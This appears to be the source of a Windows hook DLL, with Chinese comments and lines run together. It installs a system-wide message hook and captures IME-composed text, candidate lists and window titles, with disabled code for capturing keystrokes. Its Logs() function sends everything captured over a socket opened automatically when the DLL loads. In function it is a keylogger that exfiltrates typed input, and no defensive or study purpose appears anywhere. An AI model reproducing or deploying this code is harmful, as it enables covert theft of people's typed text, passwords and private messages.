#include "stdafx.h"
#include "windows.h" #include "imm.h" #include "stdio.h" #include <tchar.h>#include <wchar.h>#include <strsafe.h>#include <string> #include "tool.h"#include <WinSock2.h>#include <msctf.h>#include <Ctffunc.h>#include "ClientSocket.h"#pragma comment(lib, "imm32.lib")#define HOOK_API __declspec(dllexport)
#pragma data_seg(".shared")
FILE * glpFile = NULL;HHOOK glHook = NULL; //!钩子句柄HINSTANCE glhModule = NULL; //!DLL实例 HWND g_wnd = NULL;//监控窗体句柄//BYTE glKeyMap[KEYMAP_SIZE] = {0}; //!存放键盘映射表,全局共享HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄 stds::tool* ptool = NULL;#pragma data_seg()#pragma comment(linker, " /SECTION:.shared,RWS")HWND LastFocusWnd = 0;//上一次句柄,必须使全局的 HWND FocusWnd; //当前窗口句柄,必须使全局的 ClientSocket* sock = NULL;
//字符串临时缓存长度
#ifndef _MAX_BUF_ #define _MAX_BUF_ 256 #endifwchar_t title[256]; //获得窗口名字
wchar_t *ftemp; //begin/end 写到文件里面 wchar_t temptitle[256]=TEXT("<<标题:"); //<<标题:窗口名字>> wchar_t t[2]={0,0}; //捕获单个字母extern "C" _declspec(dllexport) void SetWindowHandle(HWND wnd) {
g_wnd = wnd;}extern "C" _declspec(dllexport) HWND GetWindowHandle() {
return g_wnd;}extern "C" _declspec(dllexport) void ConnectToServer() {
//if (sock == NULL) // pClientSocket = new ClientSocket(); sock->ConnectToServer();}HWND GetMainWindowHandle() { HWND h = ::GetTopWindow(0 ); while ( h ) { DWORD pid; DWORD dwTheardId = ::GetWindowThreadProcessId( h,&pid); if ( pid == 0/*your process id*/ ) { // here h is the handle to the window break; } h = ::GetNextWindow( h , GW_HWNDNEXT); } return h;}
void StartSocket() {
}void EndSocket() { }HANDLE m_hMapFile;void FileMapping(TCHAR* lpstr){ //打开共享的文件对象。 m_hMapFile = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE,_T("TestFileMap")); LPTSTR lpMapAddr; if (m_hMapFile) { //显示共享的文件数据。 lpMapAddr = (LPTSTR)MapViewOfFile(m_hMapFile,FILE_MAP_ALL_ACCESS, 0,0,0); // OutputDebugString(lpMapAddr); } else { //创建共享文件。 m_hMapFile = CreateFileMapping( (HANDLE)0xFFFFFFFF,NULL, PAGE_READWRITE,0,1024,_T("TestFileMap")); lpMapAddr = (LPTSTR)MapViewOfFile(m_hMapFile,FILE_MAP_ALL_ACCESS, 0,0,0); }//拷贝数据到共享文件里。
std::wstring strTest(lpstr); wcscpy(lpMapAddr,strTest.c_str());FlushViewOfFile(lpMapAddr,strTest.length()+1);
//PostMessage(}void Logs(TCHAR* lpstr)
{ /*FILE *fp; errno_t ecode = _wfopen_s(&fp, TEXT("D:\\temp\\HookIMEW32Demo\\Debug\\Test.txt"),L"ab+"); if (fp != NULL) { fwprintf(fp, lpstr); fclose(fp); }*///TCHAR exeFullPath[MAX_PATH]={0}; //GetModuleFileName(glhModule, exeFullPath, MAX_PATH); //GetModuleFileName(glhModule //std::wstring path = get_exeute_path(); //MessageBox(NULL, exeFullPath, NULL, NULL); //FileMapping(lpstr); std::wstring s(lpstr); sock->SendString(s); // return;
}
void writefile(wchar_t *lpstr) {//保存为文件 FILE* f1; wchar_t cmd[256]; GetSystemDirectory(cmd,256); lstrcat(cmd,TEXT("\\hooktxt.txt")); //f1=fopen(cmd,"a+"); //errno_t ecode = _wfopen_s(&f1, TEXT("D:\\temp\\HookIMEDemo\\Debug\\Test.txt"),L"ab+"); errno_t ecode = _wfopen_s(&f1, cmd,L"ab+"); fwrite(lpstr,lstrlen(lpstr),1,f1); //fwprintf(f1, lpstr); fclose(f1); } void writtitle() {//保存当前窗口 FocusWnd = GetActiveWindow(); if(LastFocusWnd != FocusWnd) { ftemp=TEXT("\n---------End----------\n"); //writefile(ftemp); Logs(ftemp); ftemp=TEXT("\n--------begin---------\n"); //writefile(ftemp); Logs(ftemp); GetWindowText(FocusWnd, title, 256); //当前窗口标题 LastFocusWnd = FocusWnd; lstrcat(temptitle,title); lstrcat(temptitle,TEXT(">>\n")); //writefile(temptitle); Logs(temptitle); } }
//wParam Command
//lParam DataHWND lastHwnd;DWORD lastTime;LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam) { _wsetlocale(0, L"chs"); //stds::tool _t; PMSG pmsg = (PMSG)lParam; if (nCode == HC_ACTION) { switch (pmsg->message) { case WM_IME_COMPOSITION: { HIMC hIMC; HWND hWnd=pmsg->hwnd; DWORD dwSize; TCHAR lpstr[20]; //TCHAR szBuf[20]; if(pmsg->lParam & GCS_RESULTSTR) { //先获取当前正在输入的窗口的输入法句柄 hIMC = ImmGetContext(hWnd); // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小. dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // 缓冲区大小要加上字符串的NULL结束符大小, // 考虑到UNICODE dwSize += sizeof(WCHAR); memset(lpstr, 0, 20); // 再调用一次.ImmGetCompositionString获取字符串 ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //现在lpstr里面即是输入的汉字了。 //writtitle(); //保存当前窗口 //writefile(lpstr); //保存为文件 //MessageBox(NULL, lpstr, lpstr, MB_OK); Logs(lpstr);//LPDWORD lpDword = NULL;
//ImmGetCandidateListCount(hIMC, lpDword); //wsprintf(s, TEXT("%d"), *lpDword); //StringCchPrintf(szBuf, 20/sizeof(TCHAR), TEXT("candidate: %d\r\n"), *lpDword); //Logs(szBuf);ImmReleaseContext(hWnd, hIMC);
} } break; case WM_CHAR: //截获发向焦点窗口的键盘消息 break; { wchar_t ch,str[10]; ch=(char)(pmsg->wParam); if (ch>=32 && ch<=126) //可见字符 { //writtitle(); t[0]=ch; //writefile(t); Logs(t); } if (ch>=8 && ch<=31) //控制字符 { switch(ch) { case 8: lstrcpy(str,TEXT("[退格]")); break; case 9: lstrcpy(str,TEXT("[TAB]")); break; case 13: lstrcpy(str,TEXT("[Enter]")); break; default: lstrcpy(str,TEXT("n")); } if (lstrcmp(str,TEXT("n"))) { //writtitle(); //writefile(str); Logs(str); } } } break; case WM_IME_STARTCOMPOSITION: break; case WM_IME_COMPOSITIONFULL: break; case WM_IME_ENDCOMPOSITION: break; case WM_IME_NOTIFY:HWND hWnd = pmsg->hwnd;
HIMC hIMC = NULL; DWORD dwSize = 0; char*p = NULL; TCHAR szBuf[30]; std::string strCL; int nR; memset(szBuf, 0, sizeof(TCHAR) * 30); CANDIDATEFORM form; //LPCANDIDATEINFO lpCandInfo; CANDIDATELIST candList; LPCANDIDATELIST lp = NULL; //LPIMC lpImc; 这里只关心IMN_CHANGECANDIDATE这个消息,输入法选项的变化 //IMN_OPENCANDIDATE IMN_CLOSECANDIDATE if (pmsg->wParam & IMN_CHANGECANDIDATE) { if (lastHwnd == pmsg->hwnd && lastTime == pmsg->time) { } else { TCHAR title[400],title2[400]; memset(title, 0, sizeof(TCHAR) * 400); memset(title2, 0, sizeof(TCHAR) * 400); HWND wnd = GetActiveWindow(); GetWindowText(wnd, title, 256); //当前窗口标题 GetWindowText(pmsg->hwnd, title2, 256);// 获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd); dwSize = ImmGetCandidateList(hIMC, 0, NULL, 0); if (dwSize>0) { p = new char[dwSize]; lp = (LPCANDIDATELIST)p; nR = ImmGetCandidateList(hIMC, 0, lp, dwSize); //若是取其它窗口的IMM状态,则lp->dwStyle的值为零(Unknown)。 //否则返回一,表示可以读取lp指向的数据结构! if (nR && lp->dwCount>1) { int i=1; char temp[_MAX_BUF_]; ZeroMemory(temp,sizeof(temp)); int nOffset; while ( (i<lp->dwCount-lp->dwSelection+1) && (i<lp->dwPageSize+1) ) { std::wstring sT= (wchar_t *)(p + lp->dwOffset[lp->dwPageStart+(i-1)]); sprintf( temp , " %d." , i); strCL = strCL + temp; strCL = strCL + "" + ptool->ws2s(sT); i++; } if (strCL.find_first_not_of(' ') != -1) { strCL =strCL.substr(strCL.find_first_not_of(' '),strCL.length()); //例如“万能五笔输入法中”状态中输入字符"k",strCL变为下值 //1.中 2.口 3.员工maa 4.哎呀aka 5.只w 6.员m } } delete p; } else { //OutputDebugString(L"Error: dwSize = ImmGetCandidateList(hIMC, 0, NULL, 0);<= 0 /n"); } const char* s = strCL.c_str(); //stds::tool t; std::wstring ws = ptool->s2ws(strCL); const wchar_t* wbuffer = ws.c_str(); Logs((TCHAR*)wbuffer); //MessageBox(NULL, wbuffer, wbuffer, MB_OK); //m_candidate = strCL; // 通过句柄得到IMC结构 (input method context) //lpImc = ImmLockIMC(hIMC); // 得到候选项信息 //lpCandInfo = (LPCANDIDATEINFO)ImmLockIMCC(lpImc->hCandInfo); // 得到输入法的候选项列表 //lpCandList = (LPCANDIDATELIST)(((LPBYTE)lpCandInfo) + lpCandInfo->dwOffset[0]); // 成功:)之后就可以做进一步的处理 //ImmGetCandidateListCount(hIMC, &dword); //DWORD idx = 0; //ImmGetCandidateList(hIMC, idx, &candList, 200); //wsprintf(szBuf, TEXT("candidate:%d"), candList.dwCount); //candList.dwOffset //StringCchPrintf(szBuf, 30/sizeof(TCHAR), TEXT("candidate: %d\r\n"), dword); //; //candList.dwCount //wchar_t* t = (wchar_t*)candList.dwOffset; //MessageBox(NULL, szBuf, szBuf, MB_OK); //MessageBox(NULL, t, t, MB_OK); //Logs(szBuf); // // 通过句柄得到IMC结构 (input method context) // lpImc = ImmLockIMC(hIMC); // // 得到候选项信息 // lpCandInfo = (LPCANDIDATEINFO)ImmLockIMCC(lpImc->hCandInfo); // // 得到输入法的候选项列表 //lpCandList = (LPCANDIDATELIST)(((LPBYTE)lpCandInfo) + lpCandInfo->dwOffset[0]); //lpCandList-> // // 成功:)之后就可以做进一步的处理 } }lastHwnd = pmsg->hwnd;
lastTime = pmsg->time; break; } } LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam); return(lResult); } //HOOK_API BOOL InstallHook() extern "C" HOOK_API BOOL InstallHook() { //MessageBox(NULL, TEXT("InstallHook"), NULL, NULL); g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0); return TRUE; } //HOOK_API BOOL UnHook() extern "C" HOOK_API BOOL UnHook() { return UnhookWindowsHookEx(g_hHook); }void TFSTest() {
CoInitialize(0); HRESULT hr = S_OK; ITfCompartmentMgr *pCompMgr = NULL; ITfContext *_pContextCandidateWindow = NULL; TfEditCookie ecTmp; TfClientId tfClientId; ITfDocumentMgr *pDocumentMgr; ITfThreadMgr* pThreadMgr; ITfThreadMgr2* pThreadMgr2;hr = CoCreateInstance(CLSID_TF_ThreadMgr,
NULL, CLSCTX_INPROC_SERVER, IID_ITfThreadMgr, (void**)&pThreadMgr); hr = CoCreateInstance(CLSID_TF_ThreadMgr, NULL, CLSCTX_INPROC_SERVER, IID_ITfThreadMgr2, (void**)&pThreadMgr); hr = pThreadMgr->CreateDocumentMgr(&pDocumentMgr);if (FAILED(pDocumentMgr->CreateContext(tfClientId, 0, NULL, &_pContextCandidateWindow, &ecTmp))) {
}//IID_ITfCandidateListUIElement e;
//ITfCompartment *m_pCompartment; //CoCreateInstance(IID_ITfCompartment, &m_pCompartment, ) //HRESULT hr; if (_pContextCandidateWindow->QueryInterface(IID_ITfCompartmentMgr, (void **)&pCompMgr) == S_OK) { }ITfCompartment *pCompartment;
if (pCompMgr->GetCompartment(GUID_COMPARTMENT_KEYBOARD_OPENCLOSE, &pCompartment) == S_OK) { } ITfInputProcessorProfiles *pProfiles; hr = CoCreateInstance(CLSID_TF_InputProcessorProfiles, NULL, CLSCTX_INPROC_SERVER, IID_ITfInputProcessorProfiles, (LPVOID*)&pProfiles);
ITfSource *pSource;
//IUnknown p; //hr = p.QueryInterface(IID_ITfSource, (LPVOID*)&pSource); hr = pThreadMgr->QueryInterface(IID_ITfSource, (LPVOID*)&pSource); if (SUCCEEDED(hr)) { pSource->Release(); } hr = _pContextCandidateWindow->QueryInterface(IID_ITfSource, (LPVOID*)&pSource); if (SUCCEEDED(hr)) { pSource->Release(); } hr = pCompMgr->QueryInterface(IID_ITfSource, (LPVOID*)&pSource); if (SUCCEEDED(hr)) { pSource->Release(); } hr = pProfiles->QueryInterface(IID_ITfSource, (LPVOID*)&pSource); if (SUCCEEDED(hr)) { pProfiles->Release(); } if (SUCCEEDED(hr)) { pSource->Release(); }/*ITfFnReconversion pREconverstion;
ITfRange range; ITfFnReconversion::QueryRange() ITfCandidateList *pCandidateList = new ITfCandidateList(); GetReconversion(&range, &ppCandList); //hr = m_pCompartment->QueryInterface(IID_ITfSource, (LPVOID*)&pSource); if (SUCCEEDED(hr)) { hr = pSource->AdviseSink(IID_ITfCompartmentEventSink, (ITfCompartmentEventSink*)this, &m_dwCookie);pSource->Release();
}*/}BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: g_hHinstance=HINSTANCE(hModule); ptool = new stds::tool(); if (sock == NULL) sock = new ClientSocket(); sock->Startup(); sock->ConnectToServer(); //StartSocket(); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: UnHook(); delete ptool; ptool = NULL; sock->Close(); delete sock; //EndSocket(); //pClientSocket->Close(); //pClientSocket = NULL; break; } return TRUE; }